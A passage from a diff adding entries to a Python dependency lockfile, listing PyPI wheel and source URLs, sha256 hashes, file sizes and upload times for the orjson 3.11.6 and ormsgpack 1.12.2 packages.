"sha256:09dded2de64e77ac0b312ad59f35023548fb87393a57447e1bb36a26c181a90f", size = 139770, upload-time = "2026-01-29T15:11:33.031Z" }, + { url = "https://files.pythonhosted.org/packages/b4/ac/daab6e10467f7fffd7081ba587b492505b49313130ff5446a6fe28bf076e/orjson-3.11.6-cp310-cp310-win_amd64.whl", hash = "sha256:3a63b5e7841ca8635214c6be7c0bf0246aa8c5cd4ef0c419b14362d0b2fb13de", size = 136783, upload-time = "2026-01-29T15:11:34.686Z" }, + { url = "https://files.pythonhosted.org/packages/f3/fd/d6b0a36854179b93ed77839f107c4089d91cccc9f9ba1b752b6e3bac5f34/orjson-3.11.6-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:e259e85a81d76d9665f03d6129e09e4435531870de5961ddcd0bf6e3a7fde7d7", size = 250029, upload-time = "2026-01-29T15:11:35.942Z" }, + { url = "https://files.pythonhosted.org/packages/a3/bb/22902619826641cf3b627c24aab62e2ad6b571bdd1d34733abb0dd57f67a/orjson-3.11.6-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:52263949f41b4a4822c6b1353bcc5ee2f7109d53a3b493501d3369d6d0e7937a", size = 134518, upload-time = "2026-01-29T15:11:37.347Z" }, + { url = "https://files.pythonhosted.org/packages/72/90/7a818da4bba1de711a9653c420749c0ac95ef8f8651cbc1dca551f462fe0/orjson-3.11.6-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6439e742fa7834a24698d358a27346bb203bff356ae0402e7f5df8f749c621a8", size = 137917, upload-time = "2026-01-29T15:11:38.511Z" }, + { url = "https://files.pythonhosted.org/packages/59/0f/02846c1cac8e205cb3822dd8aa8f9114acda216f41fd1999ace6b543418d/orjson-3.11.6-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b81ffd68f084b4e993e3867acb554a049fa7787cc8710bbcc1e26965580d99be", size = 134923, upload-time = "2026-01-29T15:11:39.711Z" }, + { url = "https://files.pythonhosted.org/packages/94/cf/aeaf683001b474bb3c3c757073a4231dfdfe8467fceaefa5bfd40902c99f/orjson-3.11.6-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a5a5468e5e60f7ef6d7f9044b06c8f94a3c56ba528c6e4f7f06ae95164b595ec", size = 140752, upload-time = "2026-01-29T15:11:41.347Z" }, + { url = "https://files.pythonhosted.org/packages/fc/fe/dad52d8315a65f084044a0819d74c4c9daf9ebe0681d30f525b0d29a31f0/orjson-3.11.6-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:72c5005eb45bd2535632d4f3bec7ad392832cfc46b62a3021da3b48a67734b45", size = 144201, upload-time = "2026-01-29T15:11:42.537Z" }, + { url = "https://files.pythonhosted.org/packages/36/bc/ab070dd421565b831801077f1e390c4d4af8bfcecafc110336680a33866b/orjson-3.11.6-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0b14dd49f3462b014455a28a4d810d3549bf990567653eb43765cd847df09145", size = 142380, upload-time = "2026-01-29T15:11:44.309Z" }, + { url = "https://files.pythonhosted.org/packages/e6/d8/4b581c725c3a308717f28bf45a9fdac210bca08b67e8430143699413ff06/orjson-3.11.6-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6e0bb2c1ea30ef302f0f89f9bf3e7f9ab5e2af29dc9f80eb87aa99788e4e2d65", size = 145582, upload-time = "2026-01-29T15:11:45.506Z" }, + { url = "https://files.pythonhosted.org/packages/5b/a2/09aab99b39f9a7f175ea8fa29adb9933a3d01e7d5d603cdee7f1c40c8da2/orjson-3.11.6-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:825e0a85d189533c6bff7e2fc417a28f6fcea53d27125c4551979aecd6c9a197", size = 147270, upload-time = "2026-01-29T15:11:46.782Z" }, + { url = "https://files.pythonhosted.org/packages/b8/2f/5ef8eaf7829dc50da3bf497c7775b21ee88437bc8c41f959aa3504ca6631/orjson-3.11.6-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:b04575417a26530637f6ab4b1f7b4f666eb0433491091da4de38611f97f2fcf3", size = 421222, upload-time = "2026-01-29T15:11:48.106Z" }, + { url = "https://files.pythonhosted.org/packages/3b/b0/dd6b941294c2b5b13da5fdc7e749e58d0c55a5114ab37497155e83050e95/orjson-3.11.6-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:b83eb2e40e8c4da6d6b340ee6b1d6125f5195eb1b0ebb7eac23c6d9d4f92d224", size = 155562, upload-time = "2026-01-29T15:11:49.408Z" }, + { url = "https://files.pythonhosted.org/packages/8e/09/43924331a847476ae2f9a16bd6d3c9dab301265006212ba0d3d7fd58763a/orjson-3.11.6-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:1f42da604ee65a6b87eef858c913ce3e5777872b19321d11e6fc6d21de89b64f", size = 147432, upload-time = "2026-01-29T15:11:50.635Z" }, + { url = "https://files.pythonhosted.org/packages/5d/e9/d9865961081816909f6b49d880749dbbd88425afd7c5bbce0549e2290d77/orjson-3.11.6-cp311-cp311-win32.whl", hash = "sha256:5ae45df804f2d344cffb36c43fdf03c82fb6cd247f5faa41e21891b40dfbf733", size = 139623, upload-time = "2026-01-29T15:11:51.82Z" }, + { url = "https://files.pythonhosted.org/packages/b4/f9/6836edb92f76eec1082919101eb1145d2f9c33c8f2c5e6fa399b82a2aaa8/orjson-3.11.6-cp311-cp311-win_amd64.whl", hash = "sha256:f4295948d65ace0a2d8f2c4ccc429668b7eb8af547578ec882e16bf79b0050b2", size = 136647, upload-time = "2026-01-29T15:11:53.454Z" }, + { url = "https://files.pythonhosted.org/packages/b3/0c/4954082eea948c9ae52ee0bcbaa2f99da3216a71bcc314ab129bde22e565/orjson-3.11.6-cp311-cp311-win_arm64.whl", hash = "sha256:314e9c45e0b81b547e3a1cfa3df3e07a815821b3dac9fe8cb75014071d0c16a4", size = 135327, upload-time = "2026-01-29T15:11:56.616Z" }, + { url = "https://files.pythonhosted.org/packages/14/ba/759f2879f41910b7e5e0cdbd9cf82a4f017c527fb0e972e9869ca7fe4c8e/orjson-3.11.6-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:6f03f30cd8953f75f2a439070c743c7336d10ee940da918d71c6f3556af3ddcf", size = 249988, upload-time = "2026-01-29T15:11:58.294Z" }, + { url = "https://files.pythonhosted.org/packages/f0/70/54cecb929e6c8b10104fcf580b0cc7dc551aa193e83787dd6f3daba28bb5/orjson-3.11.6-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:af44baae65ef386ad971469a8557a0673bb042b0b9fd4397becd9c2dfaa02588", size = 134445, upload-time = "2026-01-29T15:11:59.819Z" }, + { url = "https://files.pythonhosted.org/packages/f2/6f/ec0309154457b9ba1ad05f11faa4441f76037152f75e1ac577db3ce7ca96/orjson-3.11.6-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c310a48542094e4f7dbb6ac076880994986dda8ca9186a58c3cb70a3514d3231", size = 137708, upload-time = "2026-01-29T15:12:01.488Z" }, + { url = "https://files.pythonhosted.org/packages/20/52/3c71b80840f8bab9cb26417302707b7716b7d25f863f3a541bcfa232fe6e/orjson-3.11.6-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d8dfa7a5d387f15ecad94cb6b2d2d5f4aeea64efd8d526bfc03c9812d01e1cc0", size = 134798, upload-time = "2026-01-29T15:12:02.705Z" }, + { url = "https://files.pythonhosted.org/packages/30/51/b490a43b22ff736282360bd02e6bded455cf31dfc3224e01cd39f919bbd2/orjson-3.11.6-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ba8daee3e999411b50f8b50dbb0a3071dd1845f3f9a1a0a6fa6de86d1689d84d", size = 140839, upload-time = "2026-01-29T15:12:03.956Z" }, + { url = "https://files.pythonhosted.org/packages/95/bc/4bcfe4280c1bc63c5291bb96f98298845b6355da2226d3400e17e7b51e53/orjson-3.11.6-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f89d104c974eafd7436d7a5fdbc57f7a1e776789959a2f4f1b2eab5c62a339f4", size = 144080, upload-time = "2026-01-29T15:12:05.151Z" }, + { url = "https://files.pythonhosted.org/packages/01/74/22970f9ead9ab1f1b5f8c227a6c3aa8d71cd2c5acd005868a1d44f2362fa/orjson-3.11.6-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b2e2e2456788ca5ea75616c40da06fc885a7dc0389780e8a41bf7c5389ba257b", size = 142435, upload-time = "2026-01-29T15:12:06.641Z" }, + { url = "https://files.pythonhosted.org/packages/29/34/d564aff85847ab92c82ee43a7a203683566c2fca0723a5f50aebbe759603/orjson-3.11.6-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2a42efebc45afabb1448001e90458c4020d5c64fbac8a8dc4045b777db76cb5a", size = 145631, upload-time = "2026-01-29T15:12:08.351Z" }, + { url = "https://files.pythonhosted.org/packages/e7/ef/016957a3890752c4aa2368326ea69fa53cdc1fdae0a94a542b6410dbdf52/orjson-3.11.6-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:71b7cbef8471324966c3738c90ba38775563ef01b512feb5ad4805682188d1b9", size = 147058, upload-time = "2026-01-29T15:12:10.023Z" }, + { url = "https://files.pythonhosted.org/packages/56/cc/9a899c3972085645b3225569f91a30e221f441e5dc8126e6d060b971c252/orjson-3.11.6-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:f8515e5910f454fe9a8e13c2bb9dc4bae4c1836313e967e72eb8a4ad874f0248", size = 421161, upload-time = "2026-01-29T15:12:11.308Z" }, + { url = "https://files.pythonhosted.org/packages/21/a8/767d3fbd6d9b8fdee76974db40619399355fd49bf91a6dd2c4b6909ccf05/orjson-3.11.6-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:300360edf27c8c9bf7047345a94fddf3a8b8922df0ff69d71d854a170cb375cf", size = 155757, upload-time = "2026-01-29T15:12:12.776Z" }, + { url = "https://files.pythonhosted.org/packages/ad/0b/205cd69ac87e2272e13ef3f5f03a3d4657e317e38c1b08aaa2ef97060bbc/orjson-3.11.6-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:caaed4dad39e271adfadc106fab634d173b2bb23d9cf7e67bd645f879175ebfc", size = 147446, upload-time = "2026-01-29T15:12:14.166Z" }, + { url = "https://files.pythonhosted.org/packages/de/c5/dd9f22aa9f27c54c7d05cc32f4580c9ac9b6f13811eeb81d6c4c3f50d6b1/orjson-3.11.6-cp312-cp312-win32.whl", hash = "sha256:955368c11808c89793e847830e1b1007503a5923ddadc108547d3b77df761044", size = 139717, upload-time = "2026-01-29T15:12:15.7Z" }, + { url = "https://files.pythonhosted.org/packages/23/a1/e62fc50d904486970315a1654b8cfb5832eb46abb18cd5405118e7e1fc79/orjson-3.11.6-cp312-cp312-win_amd64.whl", hash = "sha256:2c68de30131481150073d90a5d227a4a421982f42c025ecdfb66157f9579e06f", size = 136711, upload-time = "2026-01-29T15:12:17.055Z" }, + { url = "https://files.pythonhosted.org/packages/04/3d/b4fefad8bdf91e0fe212eb04975aeb36ea92997269d68857efcc7eb1dda3/orjson-3.11.6-cp312-cp312-win_arm64.whl", hash = "sha256:65dfa096f4e3a5e02834b681f539a87fbe85adc82001383c0db907557f666bfc", size = 135212, upload-time = "2026-01-29T15:12:18.3Z" }, + { url = "https://files.pythonhosted.org/packages/ae/45/d9c71c8c321277bc1ceebf599bc55ba826ae538b7c61f287e9a7e71bd589/orjson-3.11.6-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:e4ae1670caabb598a88d385798692ce2a1b2f078971b3329cfb85253c6097f5b", size = 249828, upload-time = "2026-01-29T15:12:20.14Z" }, + { url = "https://files.pythonhosted.org/packages/ac/7e/4afcf4cfa9c2f93846d70eee9c53c3c0123286edcbeb530b7e9bd2aea1b2/orjson-3.11.6-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:2c6b81f47b13dac2caa5d20fbc953c75eb802543abf48403a4703ed3bff225f0", size = 134339, upload-time = "2026-01-29T15:12:22.01Z" }, + { url = "https://files.pythonhosted.org/packages/40/10/6d2b8a064c8d2411d3d0ea6ab43125fae70152aef6bea77bb50fa54d4097/orjson-3.11.6-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:647d6d034e463764e86670644bdcaf8e68b076e6e74783383b01085ae9ab334f", size = 137662, upload-time = "2026-01-29T15:12:23.307Z" }, + { url = "https://files.pythonhosted.org/packages/5a/50/5804ea7d586baf83ee88969eefda97a24f9a5bdba0727f73e16305175b26/orjson-3.11.6-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8523b9cc4ef174ae52414f7699e95ee657c16aa18b3c3c285d48d7966cce9081", size = 134626, upload-time = "2026-01-29T15:12:25.099Z" }, + { url = "https://files.pythonhosted.org/packages/9e/2e/f0492ed43e376722bb4afd648e06cc1e627fc7ec8ff55f6ee739277813ea/orjson-3.11.6-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:313dfd7184cde50c733fc0d5c8c0e2f09017b573afd11dc36bd7476b30b4cb17", size = 140873, upload-time = "2026-01-29T15:12:26.369Z" }, + { url = "https://files.pythonhosted.org/packages/10/15/6f874857463421794a303a39ac5494786ad46a4ab46d92bda6705d78c5aa/orjson-3.11.6-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:905ee036064ff1e1fd1fb800055ac477cdcb547a78c22c1bc2bbf8d5d1a6fb42", size = 144044, upload-time = "2026-01-29T15:12:28.082Z" }, + { url = "https://files.pythonhosted.org/packages/d2/c7/b7223a3a70f1d0cc2d86953825de45f33877ee1b124a91ca1f79aa6e643f/orjson-3.11.6-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ce374cb98411356ba906914441fc993f271a7a666d838d8de0e0900dd4a4bc12", size = 142396, upload-time = "2026-01-29T15:12:30.529Z" }, + { url = "https://files.pythonhosted.org/packages/87/e3/aa1b6d3ad3cd80f10394134f73ae92a1d11fdbe974c34aa199cc18bb5fcf/orjson-3.11.6-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cded072b9f65fcfd188aead45efa5bd528ba552add619b3ad2a81f67400ec450", size = 145600, upload-time = "2026-01-29T15:12:31.848Z" }, + { url = "https://files.pythonhosted.org/packages/f6/cf/e4aac5a46cbd39d7e769ef8650efa851dfce22df1ba97ae2b33efe893b12/orjson-3.11.6-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7ab85bdbc138e1f73a234db6bb2e4cc1f0fcec8f4bd2bd2430e957a01aadf746", size = 146967, upload-time = "2026-01-29T15:12:33.203Z" }, + { url = "https://files.pythonhosted.org/packages/0b/04/975b86a4bcf6cfeda47aad15956d52fbeda280811206e9967380fa9355c8/orjson-3.11.6-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:351b96b614e3c37a27b8ab048239ebc1e0be76cc17481a430d70a77fb95d3844", size = 421003, upload-time = "2026-01-29T15:12:35.097Z" }, + { url = "https://files.pythonhosted.org/packages/28/d1/0369d0baf40eea5ff2300cebfe209883b2473ab4aa4c4974c8bd5ee42bb2/orjson-3.11.6-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:f9959c85576beae5cdcaaf39510b15105f1ee8b70d5dacd90152617f57be8c83", size = 155695, upload-time = "2026-01-29T15:12:36.589Z" }, + { url = "https://files.pythonhosted.org/packages/ab/1f/d10c6d6ae26ff1d7c3eea6fd048280ef2e796d4fb260c5424fd021f68ecf/orjson-3.11.6-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:75682d62b1b16b61a30716d7a2ec1f4c36195de4a1c61f6665aedd947b93a5d5", size = 147392, upload-time = "2026-01-29T15:12:37.876Z" }, + { url = "https://files.pythonhosted.org/packages/8d/43/7479921c174441a0aa5277c313732e20713c0969ac303be9f03d88d3db5d/orjson-3.11.6-cp313-cp313-win32.whl", hash = "sha256:40dc277999c2ef227dcc13072be879b4cfd325502daeb5c35ed768f706f2bf30", size = 139718, upload-time = "2026-01-29T15:12:39.274Z" }, + { url = "https://files.pythonhosted.org/packages/88/bc/9ffe7dfbf8454bc4e75bb8bf3a405ed9e0598df1d3535bb4adcd46be07d0/orjson-3.11.6-cp313-cp313-win_amd64.whl", hash = "sha256:f0f6e9f8ff7905660bc3c8a54cd4a675aa98f7f175cf00a59815e2ff42c0d916", size = 136635, upload-time = "2026-01-29T15:12:40.593Z" }, + { url = "https://files.pythonhosted.org/packages/6f/7e/51fa90b451470447ea5023b20d83331ec741ae28d1e6d8ed547c24e7de14/orjson-3.11.6-cp313-cp313-win_arm64.whl", hash = "sha256:1608999478664de848e5900ce41f25c4ecdfc4beacbc632b6fd55e1a586e5d38", size = 135175, upload-time = "2026-01-29T15:12:41.997Z" }, + { url = "https://files.pythonhosted.org/packages/31/9f/46ca908abaeeec7560638ff20276ab327b980d73b3cc2f5b205b4a1c60b3/orjson-3.11.6-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:6026db2692041d2a23fe2545606df591687787825ad5821971ef0974f2c47630", size = 249823, upload-time = "2026-01-29T15:12:43.332Z" }, + { url = "https://files.pythonhosted.org/packages/ff/78/ca478089818d18c9cd04f79c43f74ddd031b63c70fa2a946eb5e85414623/orjson-3.11.6-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:132b0ab2e20c73afa85cf142e547511feb3d2f5b7943468984658f3952b467d4", size = 134328, upload-time = "2026-01-29T15:12:45.171Z" }, + { url = "https://files.pythonhosted.org/packages/39/5e/cbb9d830ed4e47f4375ad8eef8e4fff1bf1328437732c3809054fc4e80be/orjson-3.11.6-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b376fb05f20a96ec117d47987dd3b39265c635725bda40661b4c5b73b77b5fde", size = 137651, upload-time = "2026-01-29T15:12:46.602Z" }, + { url = "https://files.pythonhosted.org/packages/7c/3a/35df6558c5bc3a65ce0961aefee7f8364e59af78749fc796ea255bfa0cf5/orjson-3.11.6-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:954dae4e080574672a1dfcf2a840eddef0f27bd89b0e94903dd0824e9c1db060", size = 134596, upload-time = "2026-01-29T15:12:47.95Z" }, + { url = "https://files.pythonhosted.org/packages/cd/8e/3d32dd7b7f26a19cc4512d6ed0ae3429567c71feef720fe699ff43c5bc9e/orjson-3.11.6-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fe515bb89d59e1e4b48637a964f480b35c0a2676de24e65e55310f6016cca7ce", size = 140923, upload-time = "2026-01-29T15:12:49.333Z" }, + { url = "https://files.pythonhosted.org/packages/6c/9c/1efbf5c99b3304f25d6f0d493a8d1492ee98693637c10ce65d57be839d7b/orjson-3.11.6-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:380f9709c275917af28feb086813923251e11ee10687257cd7f1ea188bcd4485", size = 144068, upload-time = "2026-01-29T15:12:50.927Z" }, + { url = "https://files.pythonhosted.org/packages/82/83/0d19eeb5be797de217303bbb55dde58dba26f996ed905d301d98fd2d4637/orjson-3.11.6-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a8173e0d3f6081e7034c51cf984036d02f6bab2a2126de5a759d79f8e5a140e7", size = 142493, upload-time = "2026-01-29T15:12:52.432Z" }, + { url = "https://files.pythonhosted.org/packages/32/a7/573fec3df4dc8fc259b7770dc6c0656f91adce6e19330c78d23f87945d1e/orjson-3.11.6-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6dddf9ba706294906c56ef5150a958317b09aa3a8a48df1c52ccf22ec1907eac", size = 145616, upload-time = "2026-01-29T15:12:53.903Z" }, + { url = "https://files.pythonhosted.org/packages/c2/0e/23551b16f21690f7fd5122e3cf40fdca5d77052a434d0071990f97f5fe2f/orjson-3.11.6-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:cbae5c34588dc79938dffb0b6fbe8c531f4dc8a6ad7f39759a9eb5d2da405ef2", size = 146951, upload-time = "2026-01-29T15:12:55.698Z" }, + { url = "https://files.pythonhosted.org/packages/b8/63/5e6c8f39805c39123a18e412434ea364349ee0012548d08aa586e2bd6aa9/orjson-3.11.6-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:f75c318640acbddc419733b57f8a07515e587a939d8f54363654041fd1f4e465", size = 421024, upload-time = "2026-01-29T15:12:57.434Z" }, + { url = "https://files.pythonhosted.org/packages/1d/4d/724975cf0087f6550bd01fd62203418afc0ea33fd099aed318c5bcc52df8/orjson-3.11.6-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:e0ab8d13aa2a3e98b4a43487c9205b2c92c38c054b4237777484d503357c8437", size = 155774, upload-time = "2026-01-29T15:12:59.397Z" }, + { url = "https://files.pythonhosted.org/packages/a8/a3/f4c4e3f46b55db29e0a5f20493b924fc791092d9a03ff2068c9fe6c1002f/orjson-3.11.6-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:f884c7fb1020d44612bd7ac0db0babba0e2f78b68d9a650c7959bf99c783773f", size = 147393, upload-time = "2026-01-29T15:13:00.769Z" }, + { url = "https://files.pythonhosted.org/packages/ee/86/6f5529dd27230966171ee126cecb237ed08e9f05f6102bfaf63e5b32277d/orjson-3.11.6-cp314-cp314-win32.whl", hash = "sha256:8d1035d1b25732ec9f971e833a3e299d2b1a330236f75e6fd945ad982c76aaf3", size = 139760, upload-time = "2026-01-29T15:13:02.173Z" }, + { url = "https://files.pythonhosted.org/packages/d3/b5/91ae7037b2894a6b5002fb33f4fbccec98424a928469835c3837fbb22a9b/orjson-3.11.6-cp314-cp314-win_amd64.whl", hash = "sha256:931607a8865d21682bb72de54231655c86df1870502d2962dbfd12c82890d077", size = 136633, upload-time = "2026-01-29T15:13:04.267Z" }, + { url = "https://files.pythonhosted.org/packages/55/74/f473a3ec7a0a7ebc825ca8e3c86763f7d039f379860c81ba12dcdd456547/orjson-3.11.6-cp314-cp314-win_arm64.whl", hash = "sha256:fe71f6b283f4f1832204ab8235ce07adad145052614f77c876fcf0dac97bc06f", size = 135168, upload-time = "2026-01-29T15:13:05.932Z" }, +] + +[[package]] +name = "ormsgpack" +version = "1.12.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/12/0c/f1761e21486942ab9bb6feaebc610fa074f7c5e496e6962dea5873348077/ormsgpack-1.12.2.tar.gz", hash = "sha256:944a2233640273bee67521795a73cf1e959538e0dfb7ac635505010455e53b33", size = 39031, upload-time = "2026-01-18T20:55:28.023Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/93/fa/a91f70829ebccf6387c4946e0a1a109f6ba0d6a28d65f628bedfad94b890/ormsgpack-1.12.2-cp310-cp310-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:c1429217f8f4d7fcb053523bbbac6bed5e981af0b85ba616e6df7cce53c19657", size = 378262, upload-time = "2026-01-18T20:55:22.284Z" }, + { url = "https://files.pythonhosted.org/packages/5f/62/3698a9a0c487252b5c6a91926e5654e79e665708ea61f67a8bdeceb022bf/ormsgpack-1.12.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5f13034dc6c84a6280c6c33db7ac420253852ea233fc3ee27c8875f8dd651163", size = 203034, upload-time = "2026-01-18T20:55:53.324Z" }, + { url = "https://files.pythonhosted.org/packages/66/3a/f716f64edc4aec2744e817660b317e2f9bb8de372338a95a96198efa1ac1/ormsgpack-1.12.2-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:59f5da97000c12bc2d50e988bdc8576b21f6ab4e608489879d35b2c07a8ab51a", size = 210538, upload-time = "2026-01-18T20:55:20.097Z" }, + { url = "https://files.pythonhosted.org/packages/72/30/a436be9ce27d693d4e19fa94900028067133779f09fc45776db3f689c822/ormsgpack-1.12.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9e4459c3f27066beadb2b81ea48a076a417aafffff7df1d3c11c519190ed44f2", size = 212401, upload-time = "2026-01-18T20:55:46.447Z" }, + { url = "https://files.pythonhosted.org/packages/10/c5/cde98300fd33fee84ca71de4751b19aeeca675f0cf3c0ec4b043f40f3b76/ormsgpack-1.12.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:7a1c460655d7288407ffa09065e322a7231997c0d62ce914bf3a96ad2dc6dedd", size = 387080, upload-time = "2026-01-18T20:56:00.884Z" }, + { url = "https://files.pythonhosted.org/packages/6a/31/30bf445ef827546747c10889dd254b3d84f92b591300efe4979d792f4c41/ormsgpack-1.12.2-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:458e4568be13d311ef7d8877275e7ccbe06c0e01b39baaac874caaa0f46d826c", size = 482346, upload-time = "2026-01-18T20:55:39.831Z" }, + { url = "https://files.pythonhosted.org/packages/2e/f5/e1745ddf4fa246c921b5ca253636c4c700ff768d78032f79171289159f6e/ormsgpack-1.12.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8cde5eaa6c6cbc8622db71e4a23de56828e3d876aeb6460ffbcb5b8aff91093b", size = 425178, upload-time = "2026-01-18T20:55:27.106Z" }, + { url = "https://files.pythonhosted.org/packages/8d/a2/e6532ed7716aed03dede8df2d0d0d4150710c2122647d94b474147ccd891/ormsgpack-1.12.2-cp310-cp310-win_amd64.whl", hash = "sha256:dc7a33be14c347893edbb1ceda89afbf14c467d593a5ee92c11de4f1666b4d4f", size = 117183, upload-time = "2026-01-18T20:55:55.52Z" }, + { url = "https://files.pythonhosted.org/packages/4b/08/8b68f24b18e69d92238aa8f258218e6dfeacf4381d9d07ab8df303f524a9/ormsgpack-1.12.2-cp311-cp311-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:bd5f4bf04c37888e864f08e740c5a573c4017f6fd6e99fa944c5c935fabf2dd9", size = 378266, upload-time = "2026-01-18T20:55:59.876Z" }, + { url = "https://files.pythonhosted.org/packages/0d/24/29fc13044ecb7c153523ae0a1972269fcd613650d1fa1a9cec1044c6b666/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:34d5b28b3570e9fed9a5a76528fc7230c3c76333bc214798958e58e9b79cc18a", size = 203035, upload-time = "2026-01-18T20:55:30.59Z" }, + { url = "https://files.pythonhosted.org/packages/ad/c2/00169fb25dd8f9213f5e8a549dfb73e4d592009ebc85fbbcd3e1dcac575b/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3708693412c28f3538fb5a65da93787b6bbab3484f6bc6e935bfb77a62400ae5", size = 210539, upload-time = "2026-01-18T20:55:48.569Z" }, + { url = "https://files.pythonhosted.org/packages/1b/33/543627f323ff3c73091f51d6a20db28a1a33531af30873ea90c5ac95a9b5/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:43013a3f3e2e902e1d05e72c0f1aeb5bedbb8e09240b51e26792a3c89267e181", size = 212401, upload-time = "2026-01-18T20:56:10.101Z" }, + { url = "https://files.pythonhosted.org/packages/e8/5d/f70e2c3da414f46186659d24745483757bcc9adccb481a6eb93e2b729301/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7c8b1667a72cbba74f0ae7ecf3105a5e01304620ed14528b2cb4320679d2869b", size = 387082, upload-time = "2026-01-18T20:56:12.047Z" }, + { url = "https://files.pythonhosted.org/packages/c0/d6/06e8dc920c7903e051f30934d874d4afccc9bb1c09dcaf0bc03a7de4b343/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:df6961442140193e517303d0b5d7bc2e20e69a879c2d774316125350c4a76b92", size = 482346, upload-time = "2026-01-18T20:56:05.152Z" }, + { url = "https://files.pythonhosted.org/packages/66/c4/f337ac0905eed9c393ef990c54565cd33644918e0a8031fe48c098c71dbf/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:c6a4c34ddef109647c769d69be65fa1de7a6022b02ad45546a69b3216573eb4a", size = 425181, upload-time = "2026-01-18T20:55:37.83Z" }, + { url = "https://files.pythonhosted.org/packages/78/29/6d5758fabef3babdf4bbbc453738cc7de9cd3334e4c38dd5737e27b85653/ormsgpack-1.12.2-cp311-cp311-win_amd64.whl", hash = "sha256:73670ed0375ecc303858e3613f407628dd1fca18fe6ac57b7b7ce66cc7bb006c", size = 117182, upload-time = "2026-01-18T20:55:31.472Z" }, + { url = "https://files.pythonhosted.org/packages/c4/57/17a15549233c37e7fd054c48fe9207492e06b026dbd872b826a0b5f833b6/ormsgpack-1.12.2-cp311-cp311-win_arm64.whl", hash = "sha256:c2be829954434e33601ae5da328cccce3266b098927ca7a30246a0baec2ce7bd", size = 111464, upload-time = "2026-01-18T20:55:38.811Z" }, + { url = 